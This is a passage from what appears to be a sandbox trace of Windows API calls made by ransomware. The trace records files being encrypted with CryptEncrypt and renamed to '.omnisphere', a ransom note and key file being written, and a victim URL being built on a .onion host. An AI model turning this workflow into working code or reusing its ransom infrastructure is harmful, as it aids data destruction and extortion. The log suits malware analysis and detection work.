"c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zlnvwb3qc hk.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlNvwB3qc HK.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zlnvwb3qc hk.lnk.omnisphere")) returned 1 [0127.708] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlNvwB3qc HK.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlNvwB3qc HK.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlNvwB3qc HK.lnk.omnisphere.id" [0127.708] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlNvwB3qc HK.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zlnvwb3qc hk.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.708] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.709] CloseHandle (hObject=0x3c0) returned 1 [0127.709] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.710] CloseHandle (hObject=0x288) returned 1 [0127.710] SetEndOfFile (hFile=0x28c) returned 1 [0127.710] FlushFileBuffers (hFile=0x28c) returned 1 [0127.712] CloseHandle (hObject=0x28c) returned 1 [0127.713] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlNvwB3qc HK.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.713] GetProcessHeap () returned 0x1600000 [0127.713] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.713] GetProcessHeap () returned 0x1600000 [0127.713] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1910 [0127.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1910, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.713] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.713] GetProcessHeap () returned 0x1600000 [0127.713] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17104c0 [0127.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17104c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.713] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.713] GetProcessHeap () returned 0x1600000 [0127.713] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f4ea8 [0127.713] PathCombineW (in: pszDest=0x16f4ea8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.713] GetProcessHeap () returned 0x1600000 [0127.713] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1706e50 [0127.713] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.714] WriteFile (in: hFile=0x28c, lpBuffer=0x1706e50*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1706e50*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.714] CloseHandle (hObject=0x28c) returned 1 [0127.714] GetProcessHeap () returned 0x1600000 [0127.714] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.714] GetProcessHeap () returned 0x1600000 [0127.714] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e2b8 [0127.714] PathCombineW (in: pszDest=0x162e2b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.714] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.714] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.714] CloseHandle (hObject=0x28c) returned 1 [0127.714] GetProcessHeap () returned 0x1600000 [0127.714] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e2b8 | out: hHeap=0x1600000) returned 1 [0127.714] GetProcessHeap () returned 0x1600000 [0127.714] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.715] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9f61f3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e9f61f3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e9f61f3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0xd3, cFileName="ZU9T.lnk", cAlternateFileName="")) returned 1 [0127.715] GetProcessHeap () returned 0x1600000 [0127.715] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x167b588 [0127.715] PathCombineW (in: pszDest=0x167b588, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="ZU9T.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZU9T.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZU9T.lnk" [0127.715] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.715] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZU9T.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zu9t.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.715] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=614) returned 1 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.715] GetTickCount () returned 0x115fdd5 [0127.716] GetTickCount () returned 0x115fdd5 [0127.716] GetTickCount () returned 0x115fdd5 [0127.716] GetTickCount () returned 0x115fdd5 [0127.716] GetTickCount () returned 0x115fdd5 [0127.716] GetTickCount () returned 0x115fdd5 [0127.716] GetTickCount () returned 0x115fdd5 [0127.716] GetTickCount () returned 0x115fdd5 [0127.716] GetTickCount () returned 0x115fdd5 [0127.716] GetTickCount () returned 0x115fdd5 [0127.716] GetTickCount () returned 0x115fdd5 [0127.716] GetTickCount () returned 0x115fdd5 [0127.716] GetTickCount () returned 0x115fdd5 [0127.716] GetTickCount () returned 0x115fdd5 [0127.716] GetTickCount () returned 0x115fdd5 [0127.716] GetTickCount () returned 0x115fdd5 [0127.716] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669010) returned 1 [0127.716] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.717] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.717] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.717] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0127.717] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x266, lpName=0x0) returned 0x288 [0127.717] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x266) returned 0x1480000 [0127.717] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0127.718] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639628) returned 1 [0127.718] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.718] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.719] CryptDestroyKey (hKey=0x1639628) returned 1 [0127.719] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0127.719] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x266, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.720] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.721] GetProcessHeap () returned 0x1600000 [0127.721] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16f9af8 [0127.721] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZU9T.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zu9t.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZU9T.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zu9t.lnk.omnisphere")) returned 1 [0127.721] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZU9T.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZU9T.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZU9T.lnk.omnisphere.id" [0127.721] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZU9T.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zu9t.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.722] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.723] CloseHandle (hObject=0x3c0) returned 1 [0127.723] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.723] CloseHandle (hObject=0x288) returned 1 [0127.723] SetEndOfFile (hFile=0x28c) returned 1 [0127.724] FlushFileBuffers (hFile=0x28c) returned 1 [0127.726] CloseHandle (hObject=0x28c) returned 1 [0127.726] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZU9T.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.726] GetProcessHeap () returned 0x1600000 [0127.726] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.727] GetProcessHeap () returned 0x1600000 [0127.727] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1c58 [0127.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1c58, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.727] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.727] GetProcessHeap () returned 0x1600000 [0127.727] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710500 [0127.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710500, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.727] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", 